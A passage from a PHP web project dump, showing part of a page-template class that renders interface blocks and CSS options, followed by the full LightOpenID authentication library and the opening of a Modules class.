require TEMPLATES . $General->arr_general['theme'] . '/interface/sidebar.php'; // Рендер блока - Navbar (file_exists(TEMPLATES . $General->arr_general['theme'] . '/interface/navbar.php')) && require TEMPLATES . $General->arr_general['theme'] . '/interface/navbar.php'; (file_exists(TEMPLATES . $General->arr_general['theme'] . '/interface/container.php')) && require TEMPLATES . $General->arr_general['theme'] . '/interface/container.php'; // Дополнительный пулл под модули, которые должны быть объявлены на каждой странице - afternavbar if( ! empty( $Modules->arr_module_init['interface_always']['afternavbar'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['interface_always']['afternavbar'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['interface_always']['afternavbar'][ $module_id ]['name'] . '/forward/interface_always.php'; file_exists( $file ) && require $file; endfor; endif; // Подгрузка данных из модулей которые относятся к интерфейсу - afternavbar if( ! empty( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afternavbar'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afternavbar'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afternavbar'][ $module_id ] . '/forward/interface.php'; file_exists( $file ) && require $file; endfor; endif; // Рендер блока - Footer require PAGE . 'footer.php'; } /** * Получение фонового ихображения. * * @since 0.2 * * @return string Ссылка на изображение ( CSS / Style ) */ public function get_css_background_image() { if ( ! empty( $this->General->arr_general['background_image'] ) && $this->General->arr_general['background_image'] != 'null' ) { return 'body { background-image: url('.$this->General->arr_general["site"].'storage/cache/img/global/backgrounds/' . $this->General->arr_general["background_image"] . ')} '; } } /** * Вывод кнопки изменения боковой панели. * * @since 0.2 * * @return string Итоговый вывод. */ public function get_css_sidebar_toggle() { if ( ! empty( $this->General->arr_general['disable_sidebar_change'] ) ) { return '.logo-area img {left:-8px} '; } } /** * Включить размытие боковой панели. * * @since 0.2 * * @return string Итоговый вывод. */ public function get_css_sidebar_blur() { if ( ! empty( $this->General->arr_general['graphics.sidebar_blur'] ) ) { return '.main-sidebar { background-color: rgba(0, 0, 0, 0.5);backdrop-filter: blur(4px)} .sidebar-menu li:hover {background-color: rgba(0, 0, 0, 0.6)} .table-active {background-color: rgba(0, 0, 0, 1)}'; } } /** * Включить размытие всех блоков * * @since 0.2 * * @return string Итоговый вывод. */ public function get_css_blocks_blur() { if ( ! empty( $this->General->arr_general['graphics.blocks_blur'] ) ) { return '.card, .navbar, .block { background-color: rgba(0, 0, 0, 0.5);backdrop-filter: blur(7px)} .table th {border-bottom: 0px solid var(--hover)} .table-hover tbody tr:hover {background-color: rgba(0, 0, 0, 0.6)} .input-form .input_text {color: var(--default-text-color)} .input-form .border-checkbox-label {color: var(--default-text-color)} .sidebar-right {background-color: rgba(0, 0, 0, 0.5);backdrop-filter: blur(7px)}'; } } /** * Ограничение основного графического контейнера. * * @since 0.2 * * @return string Итоговый максимальный размер контейнера ( CSS / Style ) */ public function get_css_graphics_container() { if ( ! empty( $this->General->arr_general['graphics_container'] ) ): if ( $this->General->arr_general['graphics_container'] == 'static' ): return '.container-fluid{max-width:1400px} '; elseif( $this->General->arr_general['graphics_container'] == 'stretch' ): return '.container-fluid{max-width:1920px} '; endif; endif; } /** * Получение и вывод цветовой палитный сайта. * * @since 0.2 * * @return string Цветовая плалитра ( CSS / Style / ROOT ) */ public function get_css_color_palette() { return ':root' . str_replace( '"', '', str_replace( '",', ';', file_get_contents_fix ( 'app/templates/' . $this->General->arr_general['theme'] . '/colors.json' ) ) ) . ' '; } } ================================================ FILE: app/ext/LightOpenID.php ================================================ = 5.1.2 with cURL or HTTP/HTTPS stream wrappers enabled. * * @version v1.3.1 (2016-03-04) * @link https://code.google.com/p/lightopenid/ Project URL * @link https://github.com/iignatov/LightOpenID GitHub Repo * @author Mewp * @copyright Copyright (c) 2013 Mewp * @license http://opensource.org/licenses/mit-license.php MIT License */ class LightOpenID { public $returnUrl , $required = array() , $optional = array() , $verify_peer = null , $capath = null , $cainfo = null , $cnmatch = null , $data , $oauth = array() , $curl_time_out = 30 // in seconds , $curl_connect_time_out = 30; // in seconds private $identity, $claimed_id; protected $server, $version, $trustRoot, $aliases, $identifier_select = false , $ax = false, $sreg = false, $setup_url = null, $headers = array() , $proxy = null, $user_agent = 'LightOpenID' , $xrds_override_pattern = null, $xrds_override_replacement = null; static protected $ax_to_sreg = array( 'namePerson/friendly' => 'nickname', 'contact/email' => 'email', 'namePerson' => 'fullname', 'birthDate' => 'dob', 'person/gender' => 'gender', 'contact/postalCode/home' => 'postcode', 'contact/country/home' => 'country', 'pref/language' => 'language', 'pref/timezone' => 'timezone', ); function __construct($host, $proxy = null) { $this->set_realm($host); $this->set_proxy($proxy); $uri = rtrim(preg_replace('#((?<=\?)|&)openid\.[^&]+#', '', $_SERVER['REQUEST_URI']), '?'); $this->returnUrl = $this->trustRoot . $uri; $this->data = ($_SERVER['REQUEST_METHOD'] === 'POST') ? $_POST : $_GET; if(!function_exists('curl_init') && !in_array('https', stream_get_wrappers())) { throw new ErrorException('You must have either https wrappers or curl enabled.'); } } function __isset($name) { return in_array($name, array('identity', 'trustRoot', 'realm', 'xrdsOverride', 'mode')); } function __set($name, $value) { switch ($name) { case 'identity': if (strlen($value = trim((String) $value))) { if (preg_match('#^xri:/*#i', $value, $m)) { $value = substr($value, strlen($m[0])); } elseif (!preg_match('/^(?:[=@+\$!\(]|https?:)/i', $value)) { $value = "http://$value"; } if (preg_match('#^https?://[^/]+$#i', $value, $m)) { $value .= '/'; } } $this->$name = $this->claimed_id = $value; break; case 'trustRoot': case 'realm': $this->trustRoot = trim($value); break; case 'xrdsOverride': if (is_array($value)) { list($pattern, $replacement) = $value; $this->xrds_override_pattern = $pattern; $this->xrds_override_replacement = $replacement; } else { trigger_error('Invalid value specified for "xrdsOverride".', E_USER_ERROR); } break; } } function __get($name) { switch ($name) { case 'identity': # We return claimed_id instead of identity, # because the developer should see the claimed identifier, # i.e. what he set as identity, not the op-local identifier (which is what we verify) return $this->claimed_id; case 'trustRoot': case 'realm': return $this->trustRoot; case 'mode': return empty($this->data['openid_mode']) ? null : $this->data['openid_mode']; } } function set_proxy($proxy) { if (!empty($proxy)) { // When the proxy is a string - try to parse it. if (!is_array($proxy)) { $proxy = parse_url($proxy); } // Check if $proxy is valid after the parsing. if ($proxy && !empty($proxy['host'])) { // Make sure that a valid port number is specified. if (array_key_exists('port', $proxy)) { if (!is_int($proxy['port'])) { $proxy['port'] = is_numeric($proxy['port']) ? intval($proxy['port']) : 0; } if ($proxy['port'] <= 0) { throw new ErrorException('The specified proxy port number is invalid.'); } } $this->proxy = $proxy; } } } /** * Checks if the server specified in the url exists. * * @param $url url to check * @return true, if the server exists; false otherwise */ function hostExists($url) { if (strpos($url, '/') === false) { $server = $url; } else { $server = @parse_url($url, PHP_URL_HOST); } if (!$server) { return false; } return !!gethostbynamel($server); } protected function set_realm($uri) { $realm = ''; # Set a protocol, if not specified. $realm .= (($offset = strpos($uri, '://')) === false) ? $this->get_realm_protocol() : ''; # Set the offset properly. $offset = (($offset !== false) ? $offset + 3 : 0); # Get only the root, without the path. $realm .= (($end = strpos($uri, '/', $offset)) === false) ? $uri : substr($uri, 0, $end); $this->trustRoot = $realm; } protected function get_realm_protocol() { if (!empty($_SERVER['HTTPS'])) { $use_secure_protocol = ($_SERVER['HTTPS'] != 'off'); } else if (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) { $use_secure_protocol = ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'); } else if (isset($_SERVER['HTTP__WSSC'])) { $use_secure_protocol = ($_SERVER['HTTP__WSSC'] == 'https'); } else { $use_secure_protocol = false; } return $use_secure_protocol ? 'https://' : 'http://'; } protected function request_curl($url, $method='GET', $params=array(), $update_claimed_id) { $params = http_build_query($params, '', '&'); $curl = curl_init($url . ($method == 'GET' && $params ? '?' . $params : '')); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_USERAGENT, $this->user_agent); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($method == 'POST') { curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-type: application/x-www-form-urlencoded')); } else { curl_setopt($curl, CURLOPT_HTTPHEADER, array('Accept: application/xrds+xml, */*')); } curl_setopt($curl, CURLOPT_TIMEOUT, $this->curl_time_out); // defaults to infinite curl_setopt($curl, CURLOPT_CONNECTTIMEOUT , $this->curl_connect_time_out); // defaults to 300s if (!empty($this->proxy)) { curl_setopt($curl, CURLOPT_PROXY, $this->proxy['host']); if (!empty($this->proxy['port'])) { curl_setopt($curl, CURLOPT_PROXYPORT, $this->proxy['port']); } if (!empty($this->proxy['user'])) { curl_setopt($curl, CURLOPT_PROXYUSERPWD, $this->proxy['user'] . ':' . $this->proxy['pass']); } } if($this->verify_peer !== null) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); if($this->capath) { curl_setopt($curl, CURLOPT_CAPATH, $this->capath); } if($this->cainfo) { curl_setopt($curl, CURLOPT_CAINFO, $this->cainfo); } } if ($method == 'POST') { curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $params); } elseif ($method == 'HEAD') { curl_setopt($curl, CURLOPT_HEADER, true); curl_setopt($curl, CURLOPT_NOBODY, true); } else { curl_setopt($curl, CURLOPT_HEADER, true); curl_setopt($curl, CURLOPT_HTTPGET, true); } $response = curl_exec($curl); if($method == 'HEAD' && curl_getinfo($curl, CURLINFO_HTTP_CODE) == 405) { curl_setopt($curl, CURLOPT_HTTPGET, true); $response = curl_exec($curl); $response = substr($response, 0, strpos($response, "\r\n\r\n")); } if($method == 'HEAD' || $method == 'GET') { $header_response = $response; # If it's a GET request, we want to only parse the header part. if($method == 'GET') { $header_response = substr($response, 0, strpos($response, "\r\n\r\n")); } $headers = array(); foreach(explode("\n", $header_response) as $header) { $pos = strpos($header,':'); if ($pos !== false) { $name = strtolower(trim(substr($header, 0, $pos))); $headers[$name] = trim(substr($header, $pos+1)); } } if($update_claimed_id) { # Update the claimed_id value in case of redirections. $effective_url = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL); # Ignore the fragment (some cURL versions don't handle it well). if (strtok($effective_url, '#') != strtok($url, '#')) { $this->identity = $this->claimed_id = $effective_url; } } if($method == 'HEAD') { return $headers; } else { $this->headers = $headers; } } if (curl_errno($curl)) { throw new ErrorException(curl_error($curl), curl_errno($curl)); } return $response; } protected function parse_header_array($array, $update_claimed_id) { $headers = array(); foreach($array as $header) { $pos = strpos($header,':'); if ($pos !== false) { $name = strtolower(trim(substr($header, 0, $pos))); $headers[$name] = trim(substr($header, $pos+1)); # Following possible redirections. The point is just to have # claimed_id change with them, because the redirections # are followed automatically. # We ignore redirections with relative paths. # If any known provider uses them, file a bug report. if($name == 'location' && $update_claimed_id) { if(strpos($headers[$name], 'http') === 0) { $this->identity = $this->claimed_id = $headers[$name]; } elseif($headers[$name][0] == '/') { $parsed_url = parse_url($this->claimed_id); $this->identity = $this->claimed_id = $parsed_url['scheme'] . '://' . $parsed_url['host'] . $headers[$name]; } } } } return $headers; } protected function request_streams($url, $method='GET', $params=array(), $update_claimed_id) { if(!$this->hostExists($url)) { throw new ErrorException("Could not connect to $url.", 404); } if (empty($this->cnmatch)) { $this->cnmatch = parse_url($url, PHP_URL_HOST); } $params = http_build_query($params, '', '&'); switch($method) { case 'GET': $opts = array( 'http' => array( 'method' => 'GET', 'header' => 'Accept: application/xrds+xml, */*', 'user_agent' => $this->user_agent, 'ignore_errors' => true, ), 'ssl' => array( 'CN_match' => $this->cnmatch ) ); $url = $url . ($params ? '?' . $params : ''); if (!empty($this->proxy)) { $opts['http']['proxy'] = $this->proxy_url(); } break; case 'POST': $opts = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'user_agent' => $this->user_agent, 'content' => $params, 'ignore_errors' => true, ), 'ssl' => array( 'CN_match' => $this->cnmatch ) ); if (!empty($this->proxy)) { $opts['http']['proxy'] = $this->proxy_url(); } break; case 'HEAD': // We want to send a HEAD request, but since get_headers() doesn't // accept $context parameter, we have to change the defaults. $default = stream_context_get_options(stream_context_get_default()); // PHP does not reset all options. Instead, it just sets the options // available in the passed array, therefore set the defaults manually. $default += array( 'http' => array(), 'ssl' => array() ); $default['http'] += array( 'method' => 'GET', 'header' => '', 'user_agent' => '', 'ignore_errors' => false ); $default['ssl'] += array( 'CN_match' => '' ); $opts = array( 'http' => array( 'method' => 'HEAD', 'header' => 'Accept: application/xrds+xml, */*', 'user_agent' => $this->user_agent, 'ignore_errors' => true, ), 'ssl' => array( 'CN_match' => $this->cnmatch ) ); // Enable validation of the SSL certificates. if ($this->verify_peer) { $default['ssl'] += array( 'verify_peer' => false, 'capath' => '', 'cafile' => '' ); $opts['ssl'] += array( 'verify_peer' => true, 'capath' => $this->capath, 'cafile' => $this->cainfo ); } // Change the stream context options. stream_context_get_default($opts); $headers = get_headers($url . ($params ? '?' . $params : '')); // Restore the stream context options. stream_context_get_default($default); if (!empty($headers)) { if (intval(substr($headers[0], strlen('HTTP/1.1 '))) == 405) { // The server doesn't support HEAD - emulate it with a GET. $args = func_get_args(); $args[1] = 'GET'; call_user_func_array(array($this, 'request_streams'), $args); $headers = $this->headers; } else { $headers = $this->parse_header_array($headers, $update_claimed_id); } } else { $headers = array(); } return $headers; } if ($this->verify_peer) { $opts['ssl'] += array( 'verify_peer' => true, 'capath' => $this->capath, 'cafile' => $this->cainfo ); } $context = stream_context_create ($opts); $data = file_get_contents($url, false, $context); # This is a hack for providers who don't support HEAD requests. # It just creates the headers array for the last request in $this->headers. if(isset($http_response_header)) { $this->headers = $this->parse_header_array($http_response_header, $update_claimed_id); } return $data; } protected function request($url, $method='GET', $params=array(), $update_claimed_id=false) { $use_curl = false; if (function_exists('curl_init')) { if (!$use_curl) { # When allow_url_fopen is disabled, PHP streams will not work. $use_curl = !ini_get('allow_url_fopen'); } if (!$use_curl) { # When there is no HTTPS wrapper, PHP streams cannott be used. $use_curl = !in_array('https', stream_get_wrappers()); } if (!$use_curl) { # With open_basedir or safe_mode set, cURL can't follow redirects. $use_curl = !(ini_get('safe_mode') || ini_get('open_basedir')); } } return $use_curl ? $this->request_curl($url, $method, $params, $update_claimed_id) : $this->request_streams($url, $method, $params, $update_claimed_id); } protected function proxy_url() { $result = ''; if (!empty($this->proxy)) { $result = $this->proxy['host']; if (!empty($this->proxy['port'])) { $result = $result . ':' . $this->proxy['port']; } if (!empty($this->proxy['user'])) { $result = $this->proxy['user'] . ':' . $this->proxy['pass'] . '@' . $result; } $result = 'http://' . $result; } return $result; } protected function build_url($url, $parts) { if (isset($url['query'], $parts['query'])) { $parts['query'] = $url['query'] . '&' . $parts['query']; } $url = $parts + $url; $url = $url['scheme'] . '://' . (empty($url['username'])?'' :(empty($url['password'])? "{$url['username']}@" :"{$url['username']}:{$url['password']}@")) . $url['host'] . (empty($url['port'])?'':":{$url['port']}") . (empty($url['path'])?'':$url['path']) . (empty($url['query'])?'':"?{$url['query']}") . (empty($url['fragment'])?'':"#{$url['fragment']}"); return $url; } /** * Helper function used to scan for / tags and extract information * from them */ protected function htmlTag($content, $tag, $attrName, $attrValue, $valueName) { preg_match_all("#<{$tag}[^>]*$attrName=['\"].*?$attrValue.*?['\"][^>]*$valueName=['\"](.+?)['\"][^>]*/?>#i", $content, $matches1); preg_match_all("#<{$tag}[^>]*$valueName=['\"](.+?)['\"][^>]*$attrName=['\"].*?$attrValue.*?['\"][^>]*/?>#i", $content, $matches2); $result = array_merge($matches1[1], $matches2[1]); return empty($result)?false:$result[0]; } /** * Performs Yadis and HTML discovery. Normally not used. * @param $url Identity URL. * @return String OP Endpoint (i.e. OpenID provider address). * @throws ErrorException */ function discover($url) { if (!$url) throw new ErrorException('No identity supplied.'); # Use xri.net proxy to resolve i-name identities if (!preg_match('#^https?:#', $url)) { $url = "https://xri.net/$url"; } # We save the original url in case of Yadis discovery failure. # It can happen when we'll be lead to an XRDS document # which does not have any OpenID2 services. $originalUrl = $url; # A flag to disable yadis discovery in case of failure in headers. $yadis = true; # Allows optional regex replacement of the URL, e.g. to use Google Apps # as an OpenID provider without setting up XRDS on the domain hosting. if (!is_null($this->xrds_override_pattern) && !is_null($this->xrds_override_replacement)) { $url = preg_replace($this->xrds_override_pattern, $this->xrds_override_replacement, $url); } # We'll jump a maximum of 5 times, to avoid endless redirections. for ($i = 0; $i < 5; $i ++) { if ($yadis) { $headers = $this->request($url, 'HEAD', array(), true); $next = false; if (isset($headers['x-xrds-location'])) { $url = $this->build_url(parse_url($url), parse_url(trim($headers['x-xrds-location']))); $next = true; } if (isset($headers['content-type']) && $this->is_allowed_type($headers['content-type'])) { # Found an XRDS document, now let's find the server, and optionally delegate. $content = $this->request($url, 'GET'); preg_match_all('#(.*?)#s', $content, $m); foreach($m[1] as $content) { $content = ' ' . $content; # The space is added, so that strpos doesn't return 0. # OpenID 2 $ns = preg_quote('http://specs.openid.net/auth/2.0/', '#'); if(preg_match('#\s*'.$ns.'(server|signon)\s*#s', $content, $type)) { if ($type[1] == 'server') $this->identifier_select = true; preg_match('#(.*)#', $content, $server); preg_match('#<(Local|Canonical)ID>(.*)#', $content, $delegate); if (empty($server)) { return false; } # Does the server advertise support for either AX or SREG? $this->ax = (bool) strpos($content, 'http://openid.net/srv/ax/1.0'); $this->sreg = strpos($content, 'http://openid.net/sreg/1.0') || strpos($content, 'http://openid.net/extensions/sreg/1.1'); $server = $server[1]; if (isset($delegate[2])) $this->identity = trim($delegate[2]); $this->version = 2; $this->server = $server; return $server; } # OpenID 1.1 $ns = preg_quote('http://openid.net/signon/1.1', '#'); if (preg_match('#\s*'.$ns.'\s*#s', $content)) { preg_match('#(.*)#', $content, $server); preg_match('#<.*?Delegate>(.*)#', $content, $delegate); if (empty($server)) { return false; } # AX can be used only with OpenID 2.0, so checking only SREG $this->sreg = strpos($content, 'http://openid.net/sreg/1.0') || strpos($content, 'http://openid.net/extensions/sreg/1.1'); $server = $server[1]; if (isset($delegate[1])) $this->identity = $delegate[1]; $this->version = 1; $this->server = $server; return $server; } } $next = true; $yadis = false; $url = $originalUrl; $content = null; break; } if ($next) continue; # There are no relevant information in headers, so we search the body. $content = $this->request($url, 'GET', array(), true); if (isset($this->headers['x-xrds-location'])) { $url = $this->build_url(parse_url($url), parse_url(trim($this->headers['x-xrds-location']))); continue; } $location = $this->htmlTag($content, 'meta', 'http-equiv', 'X-XRDS-Location', 'content'); if ($location) { $url = $this->build_url(parse_url($url), parse_url($location)); continue; } } if (!$content) $content = $this->request($url, 'GET'); # At this point, the YADIS Discovery has failed, so we'll switch # to openid2 HTML discovery, then fallback to openid 1.1 discovery. $server = $this->htmlTag($content, 'link', 'rel', 'openid2.provider', 'href'); $delegate = $this->htmlTag($content, 'link', 'rel', 'openid2.local_id', 'href'); $this->version = 2; if (!$server) { # The same with openid 1.1 $server = $this->htmlTag($content, 'link', 'rel', 'openid.server', 'href'); $delegate = $this->htmlTag($content, 'link', 'rel', 'openid.delegate', 'href'); $this->version = 1; } if ($server) { # We found an OpenID2 OP Endpoint if ($delegate) { # We have also found an OP-Local ID. $this->identity = $delegate; } $this->server = $server; return $server; } throw new ErrorException("No OpenID Server found at $url", 404); } throw new ErrorException('Endless redirection!', 500); } protected function is_allowed_type($content_type) { # Apparently, some providers return XRDS documents as text/html. # While it is against the spec, allowing this here shouldn't break # compatibility with anything. $allowed_types = array('application/xrds+xml', 'text/xml'); # Only allow text/html content type for the Yahoo logins, since # it might cause an endless redirection for the other providers. if ($this->get_provider_name($this->claimed_id) == 'yahoo') { $allowed_types[] = 'text/html'; } foreach ($allowed_types as $type) { if (strpos($content_type, $type) !== false) { return true; } } return false; } protected function get_provider_name($provider_url) { $result = ''; if (!empty($provider_url)) { $tokens = array_reverse( explode('.', parse_url($provider_url, PHP_URL_HOST)) ); $result = strtolower( (count($tokens) > 1 && strlen($tokens[1]) > 3) ? $tokens[1] : (count($tokens) > 2 ? $tokens[2] : '') ); } return $result; } protected function sregParams() { $params = array(); # We always use SREG 1.1, even if the server is advertising only support for 1.0. # That's because it's fully backwards compatible with 1.0, and some providers # advertise 1.0 even if they accept only 1.1. One such provider is myopenid.com $params['openid.ns.sreg'] = 'http://openid.net/extensions/sreg/1.1'; if ($this->required) { $params['openid.sreg.required'] = array(); foreach ($this->required as $required) { if (!isset(self::$ax_to_sreg[$required])) continue; $params['openid.sreg.required'][] = self::$ax_to_sreg[$required]; } $params['openid.sreg.required'] = implode(',', $params['openid.sreg.required']); } if ($this->optional) { $params['openid.sreg.optional'] = array(); foreach ($this->optional as $optional) { if (!isset(self::$ax_to_sreg[$optional])) continue; $params['openid.sreg.optional'][] = self::$ax_to_sreg[$optional]; } $params['openid.sreg.optional'] = implode(',', $params['openid.sreg.optional']); } return $params; } protected function axParams() { $params = array(); if ($this->required || $this->optional) { $params['openid.ns.ax'] = 'http://openid.net/srv/ax/1.0'; $params['openid.ax.mode'] = 'fetch_request'; $this->aliases = array(); $counts = array(); $required = array(); $optional = array(); foreach (array('required','optional') as $type) { foreach ($this->$type as $alias => $field) { if (is_int($alias)) $alias = strtr($field, '/', '_'); $this->aliases[$alias] = 'http://axschema.org/' . $field; if (empty($counts[$alias])) $counts[$alias] = 0; $counts[$alias] += 1; ${$type}[] = $alias; } } foreach ($this->aliases as $alias => $ns) { $params['openid.ax.type.' . $alias] = $ns; } foreach ($counts as $alias => $count) { if ($count == 1) continue; $params['openid.ax.count.' . $alias] = $count; } # Don't send empty ax.required and ax.if_available. # Google and possibly other providers refuse to support ax when one of these is empty. if($required) { $params['openid.ax.required'] = implode(',', $required); } if($optional) { $params['openid.ax.if_available'] = implode(',', $optional); } } return $params; } protected function authUrl_v1($immediate) { $returnUrl = $this->returnUrl; # If we have an openid.delegate that is different from our claimed id, # we need to somehow preserve the claimed id between requests. # The simplest way is to just send it along with the return_to url. if($this->identity != $this->claimed_id) { $returnUrl .= (strpos($returnUrl, '?') ? '&' : '?') . 'openid.claimed_id=' . $this->claimed_id; } $params = array( 'openid.return_to' => $returnUrl, 'openid.mode' => $immediate ? 'checkid_immediate' : 'checkid_setup', 'openid.identity' => $this->identity, 'openid.trust_root' => $this->trustRoot, ) + $this->sregParams(); return $this->build_url(parse_url($this->server) , array('query' => http_build_query($params, '', '&'))); } protected function authUrl_v2($immediate) { $params = array( 'openid.ns' => 'http://specs.openid.net/auth/2.0', 'openid.mode' => $immediate ? 'checkid_immediate' : 'checkid_setup', 'openid.return_to' => $this->returnUrl, 'openid.realm' => $this->trustRoot, ); if ($this->ax) { $params += $this->axParams(); } if ($this->sreg) { $params += $this->sregParams(); } if (!$this->ax && !$this->sreg) { # If OP doesn't advertise either SREG, nor AX, let's send them both # in worst case we don't get anything in return. $params += $this->axParams() + $this->sregParams(); } if (!empty($this->oauth) && is_array($this->oauth)) { $params['openid.ns.oauth'] = 'http://specs.openid.net/extensions/oauth/1.0'; $params['openid.oauth.consumer'] = str_replace(array('http://', 'https://'), '', $this->trustRoot); $params['openid.oauth.scope'] = implode(' ', $this->oauth); } if ($this->identifier_select) { $params['openid.identity'] = $params['openid.claimed_id'] = 'http://specs.openid.net/auth/2.0/identifier_select'; } else { $params['openid.identity'] = $this->identity; $params['openid.claimed_id'] = $this->claimed_id; } return $this->build_url(parse_url($this->server) , array('query' => http_build_query($params, '', '&'))); } /** * Returns authentication url. Usually, you want to redirect your user to it. * @return String The authentication url. * @param String $select_identifier Whether to request OP to select identity for an user in OpenID 2. Does not affect OpenID 1. * @throws ErrorException */ function authUrl($immediate = false) { if ($this->setup_url && !$immediate) return $this->setup_url; if (!$this->server) $this->discover($this->identity); if ($this->version == 2) { return $this->authUrl_v2($immediate); } return $this->authUrl_v1($immediate); } /** * Performs OpenID verification with the OP. * @return Bool Whether the verification was successful. * @throws ErrorException */ function validate() { # If the request was using immediate mode, a failure may be reported # by presenting user_setup_url (for 1.1) or reporting # mode 'setup_needed' (for 2.0). Also catching all modes other than # id_res, in order to avoid throwing errors. if(isset($this->data['openid_user_setup_url'])) { $this->setup_url = $this->data['openid_user_setup_url']; return false; } if($this->mode != 'id_res') { return false; } $this->claimed_id = isset($this->data['openid_claimed_id'])?$this->data['openid_claimed_id']:$this->data['openid_identity']; $params = array( 'openid.assoc_handle' => $this->data['openid_assoc_handle'], 'openid.signed' => $this->data['openid_signed'], 'openid.sig' => $this->data['openid_sig'], ); if (isset($this->data['openid_ns'])) { # We're dealing with an OpenID 2.0 server, so let's set an ns # Even though we should know location of the endpoint, # we still need to verify it by discovery, so $server is not set here $params['openid.ns'] = 'http://specs.openid.net/auth/2.0'; } elseif (isset($this->data['openid_claimed_id']) && $this->data['openid_claimed_id'] != $this->data['openid_identity'] ) { # If it's an OpenID 1 provider, and we've got claimed_id, # we have to append it to the returnUrl, like authUrl_v1 does. $this->returnUrl .= (strpos($this->returnUrl, '?') ? '&' : '?') . 'openid.claimed_id=' . $this->claimed_id; } if ($this->data['openid_return_to'] != $this->returnUrl) { # The return_to url must match the url of current request. # I'm assuming that no one will set the returnUrl to something that doesn't make sense. return false; } $server = $this->discover($this->claimed_id); foreach (explode(',', $this->data['openid_signed']) as $item) { # Checking whether magic_quotes_gpc is turned on, because # the function may fail if it is. For example, when fetching # AX namePerson, it might contain an apostrophe, which will be escaped. # In such case, validation would fail, since we'd send different data than OP # wants to verify. stripslashes() should solve that problem, but we can't # use it when magic_quotes is off. $value = $this->data['openid_' . str_replace('.','_',$item)]; $params['openid.' . $item] = function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc() ? stripslashes($value) : $value; } $params['openid.mode'] = 'check_authentication'; $response = $this->request($server, 'POST', $params); return preg_match('/is_valid\s*:\s*true/i', $response); } protected function getAxAttributes() { $result = array(); if ($alias = $this->getNamespaceAlias('http://openid.net/srv/ax/1.0', 'ax')) { $prefix = 'openid_' . $alias; $length = strlen('http://axschema.org/'); foreach (explode(',', $this->data['openid_signed']) as $key) { $keyMatch = $alias . '.type.'; if (strncmp($key, $keyMatch, strlen($keyMatch)) !== 0) { continue; } $key = substr($key, strlen($keyMatch)); $idv = $prefix . '_value_' . $key; $idc = $prefix . '_count_' . $key; $key = substr($this->getItem($prefix . '_type_' . $key), $length); if (!empty($key)) { if (($count = intval($this->getItem($idc))) > 0) { $value = array(); for ($i = 1; $i <= $count; $i++) { $value[] = $this->getItem($idv . '_' . $i); } $value = ($count == 1) ? reset($value) : $value; } else { $value = $this->getItem($idv); } if (!is_null($value)) { $result[$key] = $value; } } } } else { // No alias for the AX schema has been found, // so there is no AX data in the OP's response. } return $result; } protected function getSregAttributes() { $attributes = array(); $sreg_to_ax = array_flip(self::$ax_to_sreg); foreach (explode(',', $this->data['openid_signed']) as $key) { $keyMatch = 'sreg.'; if (strncmp($key, $keyMatch, strlen($keyMatch)) !== 0) { continue; } $key = substr($key, strlen($keyMatch)); if (!isset($sreg_to_ax[$key])) { # The field name isn't part of the SREG spec, so we ignore it. continue; } $attributes[$sreg_to_ax[$key]] = $this->data['openid_sreg_' . $key]; } return $attributes; } /** * Gets AX/SREG attributes provided by OP. should be used only after successful validation. * Note that it does not guarantee that any of the required/optional parameters will be present, * or that there will be no other attributes besides those specified. * In other words. OP may provide whatever information it wants to. * * SREG names will be mapped to AX names. * * @return Array Array of attributes with keys being the AX schema names, e.g. 'contact/email' * @see http://www.axschema.org/types/ */ function getAttributes() { if (isset($this->data['openid_ns']) && $this->data['openid_ns'] == 'http://specs.openid.net/auth/2.0' ) { # OpenID 2.0 # We search for both AX and SREG attributes, with AX taking precedence. return $this->getAxAttributes() + $this->getSregAttributes(); } return $this->getSregAttributes(); } /** * Gets an OAuth request token if the OpenID+OAuth hybrid protocol has been used. * * In order to use the OpenID+OAuth hybrid protocol, you need to add at least one * scope to the $openid->oauth array before you get the call to getAuthUrl(), e.g.: * $openid->oauth[] = 'https://www.googleapis.com/auth/plus.me'; * * Furthermore the registered consumer name must fit the OpenID realm. * To register an OpenID consumer at Google use: https://www.google.com/accounts/ManageDomains * * @return string|bool OAuth request token on success, FALSE if no token was provided. */ function getOAuthRequestToken() { $alias = $this->getNamespaceAlias('http://specs.openid.net/extensions/oauth/1.0'); return !empty($alias) ? $this->data['openid_' . $alias . '_request_token'] : false; } /** * Gets the alias for the specified namespace, if it's present. * * @param string $namespace The namespace for which an alias is needed. * @param string $hint Common alias of this namespace, used for optimization. * @return string|null The namespace alias if found, otherwise - NULL. */ private function getNamespaceAlias($namespace, $hint = null) { $result = null; if (empty($hint) || $this->getItem('openid_ns_' . $hint) != $namespace) { // The common alias is either undefined or points to // some other extension - search for another alias.. $prefix = 'openid_ns_'; $length = strlen($prefix); foreach ($this->data as $key => $val) { if (strncmp($key, $prefix, $length) === 0 && $val === $namespace) { $result = trim(substr($key, $length)); break; } } } else { $result = $hint; } return $result; } /** * Gets an item from the $data array by the specified id. * * @param string $id The id of the desired item. * @return string|null The item if found, otherwise - NULL. */ private function getItem($id) { return isset($this->data[$id]) ? $this->data[$id] : null; } } ================================================ FILE: app/ext/Modules.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\ext; class Modules { /** * @since 0.2 * @var array */ public $array_modules = []; /** * @since 0.2 * @var int */ public $array_modules_count = 0; /** * @since 0.2 * @var int */ public $array_templates_count = 0; /** * @since 0.2 * @var array */ public $arr_module_init = []; /** * @since 0.2 * @var int */ public 